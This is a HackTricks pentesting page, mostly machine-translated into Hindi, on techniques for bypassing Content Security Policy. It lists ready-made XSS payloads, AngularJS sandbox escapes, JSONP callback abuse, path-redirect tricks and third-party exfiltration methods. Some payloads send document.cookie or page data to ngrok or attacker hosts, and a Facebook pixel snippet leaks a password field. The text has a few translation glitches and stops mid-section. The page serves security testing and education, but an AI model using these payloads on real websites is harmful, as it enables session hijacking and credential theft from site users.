hacktricks/pentesting-web/content-security-policy-csp-bypass

Content Security Policy (CSP) Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

What is CSP

Content Security Policy (CSP) को एक ब्राउज़र तकनीक के रूप में पहचाना जाता है, जिसका मुख्य उद्देश्य क्रॉस-साइट स्क्रिप्टिंग (XSS) जैसे हमलों से सुरक्षा प्रदान करना है। यह उन पथों और स्रोतों को परिभाषित और विस्तृत करके कार्य करता है जिनसे संसाधनों को ब्राउज़र द्वारा सुरक्षित रूप से लोड किया जा सकता है। ये संसाधन छवियों, फ्रेमों और जावास्क्रिप्ट जैसे विभिन्न तत्वों को शामिल करते हैं। उदाहरण के लिए, एक नीति एक ही डोमेन (स्वयं) से संसाधनों को लोड और निष्पादित करने की अनुमति दे सकती है, जिसमें इनलाइन संसाधन और eval, setTimeout, या setInterval जैसी कार्यों के माध्यम से स्ट्रिंग कोड का निष्पादन शामिल है।

CSP का कार्यान्वयन प्रतिक्रिया हेडर के माध्यम से या HTML पृष्ठ में मेटा तत्वों को शामिल करके किया जाता है। इस नीति का पालन करते हुए, ब्राउज़र सक्रिय रूप से इन शर्तों को लागू करते हैं और तुरंत किसी भी पहचानी गई उल्लंघनों को अवरुद्ध कर देते हैं।

• Implemented via response header:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

• मेटा टैग के माध्यम से लागू किया गया:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP को इन हेडर्स का उपयोग करके लागू या मॉनिटर किया जा सकता है:

• Content-Security-Policy: CSP को लागू करता है; ब्राउज़र किसी भी उल्लंघन को ब्लॉक करता है।
• Content-Security-Policy-Report-Only: मॉनिटरिंग के लिए उपयोग किया जाता है; उल्लंघनों की रिपोर्ट करता है बिना उन्हें ब्लॉक किए। प्री-प्रोडक्शन वातावरण में परीक्षण के लिए आदर्श।

Defining Resources

CSP सक्रिय और निष्क्रिय सामग्री को लोड करने के लिए मूल स्थानों को प्रतिबंधित करता है, जैसे इनलाइन जावास्क्रिप्ट निष्पादन और eval() के उपयोग को नियंत्रित करता है। एक उदाहरण नीति है:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

• script-src: JavaScript के लिए विशिष्ट स्रोतों की अनुमति देता है, जिसमें URL, इनलाइन स्क्रिप्ट और इवेंट हैंडलर्स या XSLT स्टाइलशीट द्वारा ट्रिगर की गई स्क्रिप्ट शामिल हैं।
• default-src: जब विशिष्ट फेच निर्देश अनुपस्थित होते हैं, तो संसाधनों को लाने के लिए एक डिफ़ॉल्ट नीति सेट करता है।
• child-src: वेब वर्कर्स और एम्बेडेड फ्रेम सामग्री के लिए अनुमत संसाधनों को निर्दिष्ट करता है।
• connect-src: उन URL को प्रतिबंधित करता है जिन्हें fetch, WebSocket, XMLHttpRequest जैसी इंटरफेस का उपयोग करके लोड किया जा सकता है।
• frame-src: फ्रेम के लिए URL को प्रतिबंधित करता है।
• frame-ancestors: निर्दिष्ट करता है कि कौन से स्रोत वर्तमान पृष्ठ को एम्बेड कर सकते हैं, जो <frame>, <iframe>, <object>, <embed>, और <applet> जैसे तत्वों पर लागू होता है।
• img-src: छवियों के लिए अनुमत स्रोतों को परिभाषित करता है।
• font-src: @font-face का उपयोग करके लोड किए गए फोंट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
• manifest-src: एप्लिकेशन मैनिफेस्ट फ़ाइलों के लिए अनुमत स्रोतों को परिभाषित करता है।
• media-src: मीडिया ऑब्जेक्ट्स को लोड करने के लिए अनुमत स्रोतों को परिभाषित करता है।
• object-src: <object>, <embed>, और <applet> तत्वों के लिए अनुमत स्रोतों को परिभाषित करता है।
• base-uri: <base> तत्वों का उपयोग करके लोड करने के लिए अनुमत URL को निर्दिष्ट करता है।
• form-action: फ़ॉर्म सबमिशन के लिए मान्य एंडपॉइंट्स की सूची बनाता है।
• plugin-types: उन माइम प्रकारों को प्रतिबंधित करता है जिन्हें एक पृष्ठ सक्रिय कर सकता है।
• upgrade-insecure-requests: ब्राउज़रों को HTTP URL को HTTPS में फिर से लिखने के लिए निर्देशित करता है।
• sandbox: <iframe> के सैंडबॉक्स विशेषता के समान प्रतिबंध लागू करता है।
• report-to: निर्दिष्ट करता है कि यदि नीति का उल्लंघन होता है तो रिपोर्ट किस समूह को भेजी जाएगी।
• worker-src: वर्कर, SharedWorker, या ServiceWorker स्क्रिप्ट के लिए मान्य स्रोतों को निर्दिष्ट करता है।
• prefetch-src: उन संसाधनों के लिए मान्य स्रोतों को निर्दिष्ट करता है जिन्हें लाया जाएगा या प्रीफेच किया जाएगा।
• navigate-to: उन URL को प्रतिबंधित करता है जिन पर कोई दस्तावेज़ किसी भी तरीके से नेविगेट कर सकता है (a, form, window.location, window.open, आदि।)

Sources

• *: सभी URL की अनुमति देता है सिवाय data:, blob:, filesystem: स्कीमों के।
• 'self': समान डोमेन से लोड करने की अनुमति देता है।
• 'data': डेटा स्कीम के माध्यम से संसाधनों को लोड करने की अनुमति देता है (जैसे, Base64 एन्कोडेड छवियाँ)।
• 'none': किसी भी स्रोत से लोडिंग को ब्लॉक करता है।
• 'unsafe-eval': eval() और समान विधियों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
• 'unsafe-hashes': विशिष्ट इनलाइन इवेंट हैंडलर्स को सक्षम करता है।
• 'unsafe-inline': इनलाइन <script> या <style> जैसे इनलाइन संसाधनों के उपयोग की अनुमति देता है, सुरक्षा कारणों से अनुशंसित नहीं है।
• 'nonce': एक क्रिप्टोग्राफिक नॉनस (एक बार उपयोग किया जाने वाला नंबर) का उपयोग करके विशिष्ट इनलाइन स्क्रिप्ट के लिए एक व्हाइटलिस्ट।
• यदि आपके पास JS सीमित निष्पादन है, तो यह संभव है कि आप पृष्ठ के अंदर एक उपयोग किया गया नॉनस प्राप्त करें doc.defaultView.top.document.querySelector("[nonce]") के साथ और फिर इसे एक दुर्भावनापूर्ण स्क्रिप्ट लोड करने के लिए पुन: उपयोग करें (यदि strict-dynamic का उपयोग किया गया है, तो कोई भी अनुमत स्रोत नए स्रोतों को लोड कर सकता है इसलिए इसकी आवश्यकता नहीं है), जैसे कि:

Load script reusing nonce

```html ```

• 'sha256-<hash>': एक विशिष्ट sha256 हैश के साथ स्क्रिप्ट को व्हाइटलिस्ट करता है।
• 'strict-dynamic': यदि इसे नॉनस या हैश द्वारा व्हाइटलिस्ट किया गया है तो किसी भी स्रोत से स्क्रिप्ट लोड करने की अनुमति देता है।
• 'host': एक विशिष्ट होस्ट निर्दिष्ट करता है, जैसे example.com।
• https:: उन URL को प्रतिबंधित करता है जो HTTPS का उपयोग करते हैं।
• blob:: Blob URLs (जैसे, JavaScript के माध्यम से बनाए गए Blob URLs) से संसाधनों को लोड करने की अनुमति देता है।
• filesystem:: फ़ाइल सिस्टम से संसाधनों को लोड करने की अनुमति देता है।
• 'report-sample': उल्लंघन रिपोर्ट में उल्लंघन करने वाले कोड का एक नमूना शामिल करता है (डीबगिंग के लिए उपयोगी)।
• 'strict-origin': 'self' के समान लेकिन सुनिश्चित करता है कि स्रोतों का प्रोटोकॉल सुरक्षा स्तर दस्तावेज़ से मेल खाता है (केवल सुरक्षित मूल सुरक्षित मूल से संसाधन लोड कर सकते हैं)।
• 'strict-origin-when-cross-origin': समान मूल अनुरोध करते समय पूर्ण URL भेजता है लेकिन केवल तब मूल भेजता है जब अनुरोध क्रॉस-ओरिजिन हो।
• 'unsafe-allow-redirects': संसाधनों को लोड करने की अनुमति देता है जो तुरंत किसी अन्य संसाधन पर रीडायरेक्ट करेंगे। सुरक्षा को कमजोर करने के कारण अनुशंसित नहीं है।

Unsafe CSP Rules

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

{% hint style="danger" %} यह काम नहीं कर रहा है, अधिक जानकारी के लिए यहाँ देखें. {% endhint %}

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

काम करने वाला पेलोड:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

यदि आप किसी तरह से एक अनुमत JS कोड ने आपके JS कोड के साथ DOM में एक नया स्क्रिप्ट टैग बनाया, क्योंकि एक अनुमत स्क्रिप्ट इसे बना रही है, तो नया स्क्रिप्ट टैग निष्पादित होने की अनुमति दी जाएगी।

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

काम करने वाला पेलोड:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

ऑब्जेक्ट-स्रोत और डिफ़ॉल्ट-स्रोत की कमी

{% hint style="danger" %} ऐसा लगता है कि यह अब काम नहीं कर रहा है {% endhint %}

Content-Security-Policy: script-src 'self' ;

काम करने वाले पेलोड:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

फ़ाइल अपलोड + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

यदि आप एक JS फ़ाइल अपलोड कर सकते हैं तो आप इस CSP को बायपास कर सकते हैं:

कार्यशील पेलोड:

"/>'><script src="/uploads/picture.png.js"></script>

हालांकि, यह अत्यधिक संभावित है कि सर्वर अपलोड की गई फ़ाइल को मान्य कर रहा है और केवल आपको निर्धारित प्रकार की फ़ाइलें अपलोड करने की अनुमति देगा।

इसके अलावा, भले ही आप सर्वर द्वारा स्वीकार की गई एक्सटेंशन (जैसे: script.png) का उपयोग करके एक JS कोड फ़ाइल के अंदर अपलोड कर सकें, यह पर्याप्त नहीं होगा क्योंकि कुछ सर्वर जैसे अपाचे सर्वर फाइल के एक्सटेंशन के आधार पर MIME प्रकार का चयन करते हैं और ब्राउज़र जैसे Chrome Javascript कोड को कुछ ऐसा करने से अस्वीकृत कर देंगे जो एक छवि होनी चाहिए। "उम्मीद है", वहाँ गलतियाँ हैं। उदाहरण के लिए, एक CTF से मैंने सीखा कि Apache को _.wave**_ एक्सटेंशन का पता नहीं है, इसलिए यह इसे MIME प्रकार जैसे audio/* के साथ सर्व नहीं करता है।

यहां से, यदि आप एक XSS और एक फ़ाइल अपलोड पाते हैं, और आप एक गलत व्याख्यायित एक्सटेंशन खोजने में सफल होते हैं, तो आप उस एक्सटेंशन के साथ एक फ़ाइल अपलोड करने और स्क्रिप्ट की सामग्री को आज़मा सकते हैं। या, यदि सर्वर अपलोड की गई फ़ाइल के सही प्रारूप की जांच कर रहा है, तो एक पॉलीग्लॉट बनाएं (यहां कुछ पॉलीग्लॉट उदाहरण)।

Form-action

यदि JS इंजेक्ट करना संभव नहीं है, तो आप उदाहरण के लिए क्रेडेंशियल्स को फॉर्म एक्शन को इंजेक्ट करके निकालने की कोशिश कर सकते हैं (और शायद पासवर्ड प्रबंधकों से पासवर्ड को ऑटो-फिल करने की उम्मीद कर सकते हैं)। आप इस रिपोर्ट में एक उदाहरण पा सकते हैं। इसके अलावा, ध्यान दें कि default-src फॉर्म क्रियाओं को कवर नहीं करता है।

Third Party Endpoints + ('unsafe-eval')

{% hint style="warning" %} कुछ निम्नलिखित पेलोड के लिए unsafe-eval की आवश्यकता नहीं है। {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

एक कमजोर संस्करण का एंगुलर लोड करें और मनमाना JS निष्पादित करें:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + a library with functions that return the window object (check out this post):

{% hint style="info" %} यह पोस्ट दिखाता है कि आप cdn.cloudflare.com (या किसी अन्य अनुमत JS लाइब्रेरी रिपॉजिटरी) से सभी लाइब्रेरीज़ को लोड कर सकते हैं, प्रत्येक लाइब्रेरी से सभी जोड़े गए फ़ंक्शंस को निष्पादित कर सकते हैं, और यह जांच सकते हैं कि कौन से फ़ंक्शंस कौन सी लाइब्रेरीज़ से window ऑब्जेक्ट लौटाते हैं। {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS एक क्लास नाम से:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Google recaptcha JS कोड का दुरुपयोग

इस CTF लेख के अनुसार, आप CSP के भीतर https://www.google.com/recaptcha/ का दुरुपयोग कर सकते हैं ताकि CSP को बायपास करते हुए मनचाहा JS कोड निष्पादित किया जा सके:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

अधिक पेलोड इस लेख से:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

www.google.com का उपयोग करके ओपन रीडायरेक्ट का दुरुपयोग

निम्नलिखित URL example.com पर रीडायरेक्ट करता है (यहां से):

https://www.google.com/amp/s/example.com/

Abusing *.google.com/script.google.com

Google Apps Script का दुरुपयोग करके script.google.com के अंदर एक पृष्ठ में जानकारी प्राप्त करना संभव है। जैसे कि इसे इस रिपोर्ट में किया गया है।

Third Party Endpoints + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

ऐसे परिदृश्य जहां script-src को self और एक विशेष डोमेन पर सेट किया गया है जिसे व्हाइटलिस्ट किया गया है, JSONP का उपयोग करके बायपास किया जा सकता है। JSONP एंडपॉइंट असुरक्षित कॉलबैक विधियों की अनुमति देते हैं जो एक हमलावर को XSS करने की अनुमति देते हैं, कार्यशील पेलोड:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee विभिन्न वेबसाइटों के CSP बायपास के लिए उपयोग करने के लिए तैयार JSONP एंडपॉइंट्स शामिल करता है।

यदि विश्वसनीय एंडपॉइंट में एक ओपन रीडायरेक्ट है, तो वही भेद्यता उत्पन्न होगी क्योंकि यदि प्रारंभिक एंडपॉइंट विश्वसनीय है, तो रीडायरेक्ट विश्वसनीय होते हैं।

थर्ड पार्टी दुरुपयोग

जैसा कि निम्नलिखित पोस्ट में वर्णित है, कई थर्ड पार्टी डोमेन हैं, जो CSP में कहीं न कहीं अनुमति दी जा सकती हैं, जिन्हें डेटा को एक्सफिल्ट्रेट करने या जावास्क्रिप्ट कोड निष्पादित करने के लिए दुरुपयोग किया जा सकता है। इनमें से कुछ थर्ड-पार्टी हैं:

Entity	Allowed Domain	Capabilities
Facebook	www.facebook.com, *.facebook.com	Exfil
Hotjar	*.hotjar.com, ask.hotjar.io	Exfil
Jsdelivr	*.jsdelivr.com, cdn.jsdelivr.net	Exec
Amazon CloudFront	*.cloudfront.net	Exfil, Exec
Amazon AWS	*.amazonaws.com	Exfil, Exec
Azure Websites	*.azurewebsites.net, *.azurestaticapps.net	Exfil, Exec
Salesforce Heroku	*.herokuapp.com	Exfil, Exec
Google Firebase	*.firebaseapp.com	Exfil, Exec

यदि आप अपने लक्ष्य के CSP में किसी भी अनुमति प्राप्त डोमेन को पाते हैं, तो संभावना है कि आप थर्ड-पार्टी सेवा पर पंजीकरण करके CSP को बायपास कर सकते हैं और, या तो उस सेवा पर डेटा को एक्सफिल्ट्रेट कर सकते हैं या कोड निष्पादित कर सकते हैं।

उदाहरण के लिए, यदि आप निम्नलिखित CSP पाते हैं:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

या

Content-Security-Policy​: connect-src www.facebook.com;​

आपको डेटा को एक्सफिल्ट्रेट करने में सक्षम होना चाहिए, जैसे कि हमेशा Google Analytics/Google Tag Manager के साथ किया गया है। इस मामले में, आप इन सामान्य चरणों का पालन करते हैं:

1. यहाँ एक Facebook Developer खाता बनाएं।
2. एक नया "Facebook Login" ऐप बनाएं और "Website" चुनें।
3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें।
4. लक्षित साइट पर, जिससे आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
5. अपने ऐप के "Event Manager" पर जाएं और उस एप्लिकेशन का चयन करें जिसे आपने बनाया है (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events)
6. "Test Events" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके।

फिर, पीड़ित पक्ष पर, आप Facebook ट्रैकिंग पिक्सेल को हमलावर के Facebook डेवलपर खाता ऐप-आईडी की ओर इंगित करने और इस तरह का एक कस्टम इवेंट जारी करने के लिए निम्नलिखित कोड निष्पादित करते हैं:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

जैसे कि पिछले तालिका में निर्दिष्ट अन्य सात तृतीय-पक्ष डोमेन के लिए, उन्हें दुरुपयोग करने के कई अन्य तरीके हैं। अन्य तृतीय-पक्ष दुरुपयोगों के बारे में अतिरिक्त स्पष्टीकरण के लिए पहले के ब्लॉग पोस्ट को देखें।

Bypass via RPO (Relative Path Overwrite)

पथ प्रतिबंधों को बायपास करने के लिए उपरोक्त पुनर्निर्देशन के अलावा, एक और तकनीक है जिसे Relative Path Overwrite (RPO) कहा जाता है, जिसे कुछ सर्वरों पर उपयोग किया जा सकता है।

उदाहरण के लिए, यदि CSP पथ https://example.com/scripts/react/ की अनुमति देता है, तो इसे निम्नलिखित तरीके से बायपास किया जा सकता है:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ब्राउज़र अंततः https://example.com/scripts/angular/angular.js को लोड करेगा।

यह काम करता है क्योंकि ब्राउज़र के लिए, आप https://example.com/scripts/react/ के तहत स्थित ..%2fangular%2fangular.js नामक फ़ाइल को लोड कर रहे हैं, जो CSP के अनुरूप है।

∑, वे इसे डिकोड करेंगे, प्रभावी रूप से https://example.com/scripts/react/../angular/angular.js का अनुरोध करते हुए, जो https://example.com/scripts/angular/angular.js के बराबर है।

ब्राउज़र और सर्वर के बीच URL व्याख्या में इस असंगति का लाभ उठाकर, पथ नियमों को बायपास किया जा सकता है।

समाधान यह है कि सर्वर-साइड पर %2f को / के रूप में नहीं माना जाए, जिससे ब्राउज़र और सर्वर के बीच व्याख्या में निरंतरता सुनिश्चित हो सके और इस समस्या से बचा जा सके।

ऑनलाइन उदाहरण: https://jsbin.com/werevijewa/edit?html,output

Iframes JS निष्पादन

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

गायब base-uri

यदि base-uri निर्देश गायब है तो आप इसका दुरुपयोग कर सकते हैं dangling markup injection करने के लिए।

इसके अलावा, यदि पृष्ठ एक सापेक्ष पथ का उपयोग करके स्क्रिप्ट लोड कर रहा है (जैसे <script src="/js/app.js">) एक Nonce का उपयोग करते हुए, आप base tag का दुरुपयोग कर सकते हैं ताकि यह आपके अपने सर्वर से स्क्रिप्ट लोड करे जिससे XSS प्राप्त हो।
यदि कमजोर पृष्ठ httpS के साथ लोड होता है, तो बेस में httpS URL का उपयोग करें।

<base href="https://www.attacker.com/">

AngularJS घटनाएँ

एक विशेष नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, JavaScript घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक के रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट $event प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्जेक्ट को संदर्भित करता है। इस $event ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। विशेष रूप से, Chrome में, $event/event ऑब्जेक्ट में एक path विशेषता होती है, जो घटना के निष्पादन श्रृंखला में शामिल ऑब्जेक्टों की एक सरणी रखती है, जिसमें window ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना सैंडबॉक्स बचाव रणनीतियों के लिए महत्वपूर्ण है।

इस सरणी को orderBy फ़िल्टर की ओर निर्देशित करके, इसे पुनरावृत्त करना संभव है, अंतिम तत्व ( window ऑब्जेक्ट) का उपयोग करके एक वैश्विक फ़ंक्शन जैसे alert() को सक्रिय करना। नीचे प्रदर्शित कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

यह स्निप्पेट ng-focus निर्देश का उपयोग करके इवेंट को ट्रिगर करने को उजागर करता है, $event.path|orderBy का उपयोग करके path एरे को संशोधित करता है, और alert() फ़ंक्शन को निष्पादित करने के लिए window ऑब्जेक्ट का लाभ उठाता है, इस प्रकार document.cookie को प्रकट करता है।

अन्य Angular बायपास खोजें https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS और व्हाइटलिस्टेड डोमेन

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

एक CSP नीति जो Angular JS एप्लिकेशन में स्क्रिप्ट लोडिंग के लिए डोमेन को व्हाइटलिस्ट करती है, को कॉलबैक फ़ंक्शनों और कुछ कमजोर वर्गों के आह्वान के माध्यम से बायपास किया जा सकता है। इस तकनीक पर अधिक जानकारी इस git repository पर उपलब्ध विस्तृत गाइड में मिल सकती है।

कार्यशील पेलोड:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

अन्य JSONP मनमाने निष्पादन एंडपॉइंट यहां पाए जा सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)

रीडायरेक्शन के माध्यम से बायपास

जब CSP सर्वर-साइड रीडायरेक्शन का सामना करता है तो क्या होता है? यदि रीडायरेक्शन एक अलग मूल की ओर ले जाता है जो अनुमति नहीं है, तो यह अभी भी विफल हो जाएगा।

हालांकि, CSP स्पेक 4.2.2.3. पथ और रीडायरेक्ट्स में वर्णन के अनुसार, यदि रीडायरेक्शन एक अलग पथ की ओर ले जाता है, तो यह मूल प्रतिबंधों को बायपास कर सकता है।

यहां एक उदाहरण है:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

यदि CSP को https://www.google.com/a/b/c/d पर सेट किया गया है, तो चूंकि पथ पर विचार किया जाता है, दोनों /test और /a/test स्क्रिप्ट CSP द्वारा अवरुद्ध कर दिए जाएंगे।

हालांकि, अंतिम http://localhost:5555/301 को सर्वर-साइड पर https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// पर रीडायरेक्ट किया जाएगा। चूंकि यह एक रीडायरेक्शन है, पथ पर विचार नहीं किया जाता, और स्क्रिप्ट लोड की जा सकती है, इस प्रकार पथ प्रतिबंध को बायपास किया जा सकता है।

इस रीडायरेक्शन के साथ, भले ही पथ को पूरी तरह से निर्दिष्ट किया गया हो, यह अभी भी बायपास किया जाएगा।

इसलिए, सबसे अच्छा समाधान यह सुनिश्चित करना है कि वेबसाइट में कोई ओपन रीडायरेक्ट कमजोरियाँ न हों और CSP नियमों में कोई ऐसे डोमेन न हों जिन्हें शोषित किया जा सके।

लटकते मार्कअप के साथ CSP बायपास

यहाँ पढ़ें।

'unsafe-inline'; img-src *; XSS के माध्यम से

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' का मतलब है कि आप कोड के अंदर कोई भी स्क्रिप्ट चला सकते हैं (XSS कोड चला सकता है) और img-src * का मतलब है कि आप वेबपेज पर किसी भी संसाधन से कोई भी छवि का उपयोग कर सकते हैं।

आप इस CSP को छवियों के माध्यम से डेटा निकालकर बायपास कर सकते हैं (इस अवसर पर XSS एक CSRF का दुरुपयोग करता है जहां एक पृष्ठ जो बॉट द्वारा सुलभ है, एक SQLi है, और एक छवि के माध्यम से ध्वज निकालता है):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

आप इस कॉन्फ़िगरेशन का दुरुपयोग करके एक छवि के अंदर डाले गए जावास्क्रिप्ट कोड को लोड कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ ट्विटर से छवियों को लोड करने की अनुमति देता है। आप एक विशेष छवि तैयार कर सकते हैं, उसे ट्विटर पर अपलोड कर सकते हैं और "unsafe-inline" का दुरुपयोग करके एक JS कोड को निष्पादित कर सकते हैं (जैसे एक सामान्य XSS) जो छवि को लोड करेगा, उससे JS निकालेगा और इसे निष्पादित करेगा: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

सेवा कार्यकर्ताओं के साथ

सेवा कार्यकर्ताओं की importScripts फ़ंक्शन CSP द्वारा सीमित नहीं है:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

नीति इंजेक्शन

अनुसंधान: https://portswigger.net/research/bypassing-csp-with-policy-injection

क्रोम

